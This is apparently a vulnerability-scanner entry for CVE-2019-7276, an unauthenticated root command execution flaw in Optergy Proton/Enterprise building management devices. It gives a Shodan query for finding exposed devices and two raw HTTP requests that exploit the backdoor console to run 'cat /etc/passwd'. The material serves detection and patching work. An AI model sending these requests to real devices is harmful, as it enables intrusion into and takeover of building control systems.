| Title | Optergy Proton/Enterprise - Unauthenticated RCE via Backdoor Console |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit the backdoor console to execute arbitrary system commands with root privileges, leading to complete device compromise and control over building management systems. |
| Remediation | Apply vendor-provided firmware updates or disable the affected console feature if possible. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91771 |
| CVE ID | CVE-2019-7276 |
| Shodan Query | html:"Optergy" |
| Tags | cve cve2019 optergy proton backdoor rce intrusive vkev vuln |
Optergy Proton/Enterprise devices allow Remote Root Code Execution via a Backdoor Console.
GET /tools/ajax/ConsoleResult.html?get HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Accept-Encoding: gzip
POST /tools/ajax/ConsoleResult.html HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 120
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
command=cat /etc/passwd&challenge=FxipZo&answer=734f61e186ae74e708ddc80943bd5660e2db276f5de035acd30b5844714ce6d0bfc06556
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7276.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-7276.pcap
N/AN/A